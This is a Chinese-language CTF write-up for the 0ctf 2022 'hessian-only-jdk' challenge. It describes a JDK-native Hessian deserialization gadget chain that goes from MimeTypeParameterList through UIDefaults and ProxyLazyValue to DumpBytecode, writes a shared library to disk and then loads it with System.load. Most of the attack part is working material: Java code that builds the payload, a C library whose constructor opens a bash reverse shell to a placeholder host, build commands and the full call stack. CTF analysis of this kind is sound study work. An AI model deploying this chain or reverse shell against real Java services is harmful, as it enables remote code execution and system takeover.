0ctf2022 hessian-only-jdk writeup jdk原生链
2022-9-28 16:51:31 Author: xz.aliyun.com(查看原文) 阅读量:73 收藏

周末和cx某人打了0ctf ,继hfctf2022 ezchain 找到rome二次反序列化链之后 ,hessian到挖jdk原生链了2333.

环境 : 只有 hessian 4.0.38 + jdk8u342 直接就是hessian 反序列化,挖jdk原生链

hessian不需要继承serializable,
设置 SerializerFactory里面 setAllowNonSerializable(true);就行
和xstream有点类似 ,所以hessian的jdk原生链可以从xstream的历史链来作参考 。

https://x-stream.github.io/CVE-2021-21346.html

Rdn$RdnEntry#compareTo->
    XString#equal->
        MultiUIDefaults#toString->
            UIDefaults#get->
                UIDefaults#getFromHashTable->
                    UIDefaults$LazyValue#createValue->
                        SwingLazyValue#createValue->
                            InitialContext#doLookup()

但是实际上并不能直接用,
首先是javax.swing.MultiUIDefaults
在反序列化的时候就会报错java.lang.IllegalAccessException: Class com.caucho.hessian.io.MapDeserializer can not access a member of class javax.swing.MultiUIDefaults with modifiers "public"

所以需要找个类替代 MultiUIDefaults ,UIDefaults 是继承Hashtable的 ,所以需要toString() -> Hashtable.get() 的 ,找到了个java.awt.datatransfer.MimeTypeParameterList

java.awt.datatransfer.MimeTypeParameterList
private Hashtable<String, String> parameters;
public String toString() {
    Enumeration<String> keys = parameters.keys();
    while(keys.hasMoreElements())
    {
        buffer.append("; ");
        String key = keys.nextElement();
...
           buffer.append(quote(parameters.get(key)));
    ....
    }
}

触发toString()

构造畸形的序列化数据
在Hessian2Input.expect这里

protected IOException expect(String expect, int ch) throws IOException {
....
try {
...
    Object obj = this.readObject();
    return obj != null ? this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " " + obj.getClass().getName() + " (" + obj + ")" + "\n  " + context + "") : this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " null");
}

obj.getClass().getName() + " (" + obj + ")" + "\n " 直接将obj拼接了 可以触发toString

在Hessian2Input.readObject case67 的时候->
this.readObjectDefinition((Class)null);->
throw this.expect("string", tag);-> this.expect()

所以重写
com.caucho.hessian.io.Hessian2Output在 writeString这里改下就行

SwingLazyValue && ProxyLazyValue

在SwingLazyValue.createValue中

拿到public static 的方法 然后invoke ,一般来说这种是用jndi来打比较多,但是题目没有tomcat 或者gadget, 所以jndi没法使用
然后这里有个大坑等等说到。
题目将
com.sun.org.apache.xml.internal.security.utils.JavaUtils 给ban了
看一下这个类原本的writeBytesToFilename ,直接写文件

public static void writeBytesToFilename(String filename, byte[] bytes) {
    if (filename != null && bytes != null) {
        try (OutputStream outputStream = Files.newOutputStream(Paths.get(filename))) {
            outputStream.write(bytes);

所以现在思路应该很清晰了,在写文件的情况下 一般都是和System.load 组合拳 ,现在就是需要找一个public static 的写文件方法绕过JavaUtils.writeBytesToFilename(后来被告知是非预期解 打脸)
然后就是找 , 找到jdk.nashorn.internal.codegen.DumpBytecode.dumpBytecode

然后就是一个大坑。。。

因为classLoader的原因 ,在SwingLazyValue这里只能加载rt.jar 里面的类
而我找的jdk.nashorn.internal.codegen.DumpBytecode.dumpBytecode 位于nashorn.jar 里面
无法加载,在这里卡了很久 ,后来看到了个 ProxyLazyValue.createValue

public Object createValue(final UIDefaults table) {
    if (acc == null && System.getSecurityManager() != null) {
        throw new SecurityException("null AccessControlContext");
    }
return AccessController.doPrivileged(new PrivilegedAction<Object>() {
    public Object run() {
        try {
            Class<?> c;
            Object cl;
            if (table == null || !((cl = table.get("ClassLoader"))
                                   instanceof ClassLoader)) {
                cl = Thread.currentThread().
                            getContextClassLoader();
                if (cl == null) {
                    cl = ClassLoader.getSystemClassLoader();
                }
            }
            ReflectUtil.checkPackageAccess(className);
            c = Class.forName(className, true, (ClassLoader)cl);
            SwingUtilities2.checkAccess(c.getModifiers());
            if (methodName != null) {
                Class[] types = getClassArray(args);
                Method m = c.getMethod(methodName, types);
                return MethodUtil.invoke(m, c, args);
            } else {

获取到classLoader ,所以就能正常加载jdk 里面nashorn.jar 这些里面的类了

然后由于Hessian 序列化的机制,ProxyLazyValue里面的 field acc 是在反序列化过程中会报错 , 所以需要将acc 反射设置为null

使用DumpBytecode.dumpBytecode 创建个动态链接库, 然后System.load 执行就行了

#include <stdlib.h>
#include <stdio.h>

void __attribute__ ((__constructor__))  aasdnqwgasdela1 (){

    system("echo '/bin/bash -i >& /dev/tcp/xxxxxxxx/9998 0>&1' > /tmp/1");
    system("/bin/bash /tmp/1");
}

gcc -c a.c -o a && gcc a --share -o a.so

创建文件

SerializerFactory sf = new SerializerFactory();
        sf.setAllowNonSerializable(true);
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        Hessian2Output out = new Hessian2Output(byteArrayOutputStream);
        out.setSerializerFactory(sf);
        Unsafe unsafe = getUnsafe();
        Object script = unsafe.allocateInstance(ScriptEnvironment.class);
        setFieldValue(script,"_dest_dir","/tmp/");
        Object debug=unsafe.allocateInstance(DebugLogger.class);
        byte[] code=Files.readAllBytes(Paths.get("a.so"));
        String classname="asdxxxxxxx";
        UIDefaults.ProxyLazyValue proxyLazyValue = new UIDefaults.ProxyLazyValue("jdk.nashorn.internal.codegen.DumpBytecode", "dumpBytecode", new Object[]{
                script,
                debug,
                code,
                classname
        });
        setFieldValue(proxyLazyValue,"acc",null);


        UIDefaults uiDefaults = new UIDefaults();
        uiDefaults.put("q", proxyLazyValue);

        Class clazz;
        clazz = Class.forName("java.awt.datatransfer.MimeTypeParameterList");
        Object mimeTypeParameterList = unsafe.allocateInstance(clazz);
        setFieldValue(mimeTypeParameterList, "parameters", uiDefaults);

        out.writeString("aaaxxxx");
        out.writeObject(mimeTypeParameterList);
        out.flushBuffer();
        byte[] bytes = byteArrayOutputStream.toByteArray();
        Files.write(Paths.get("ser"),bytes);

System.load 直接改下调用方法就行了,System.load 在rt.jar 里面 用SwingLazyValue 也一样

SwingLazyValue swingLazyValue = new SwingLazyValue("java.lang.System", "load", new Object[]{
                "/tmp/asdxxxxxxx.class"
        });

附上完整调用栈

dumpBytecode:94, DumpBytecode (jdk.nashorn.internal.codegen)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect) [2]
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:71, Trampoline (sun.reflect.misc)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect) [1]
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:275, MethodUtil (sun.reflect.misc)
run:1108, UIDefaults$ProxyLazyValue$1 (javax.swing)
doPrivileged:-1, AccessController (java.security)
createValue:1087, UIDefaults$ProxyLazyValue (javax.swing)
getFromHashtable:216, UIDefaults (javax.swing)
get:161, UIDefaults (javax.swing)
toString:290, MimeTypeParameterList (java.awt.datatransfer)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
expect:2880, Hessian2Input (com.caucho.hessian.io)
readString:1398, Hessian2Input (com.caucho.hessian.io)
readObjectDefinition:2180, Hessian2Input (com.caucho.hessian.io)
readObject:2122, Hessian2Input (com.caucho.hessian.io)
handle:43, Index$MyHandler (com.caucho.hessian.io)
doFilter:79, Filter$Chain (com.sun.net.httpserver)
doFilter:83, AuthFilter (sun.net.httpserver)
doFilter:82, Filter$Chain (com.sun.net.httpserver)
handle:675, ServerImpl$Exchange$LinkHandler (sun.net.httpserver)
doFilter:79, Filter$Chain (com.sun.net.httpserver)
run:647, ServerImpl$Exchange (sun.net.httpserver)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)

文章来源: https://xz.aliyun.com/t/11732
如有侵权请联系:admin#unsafe.sh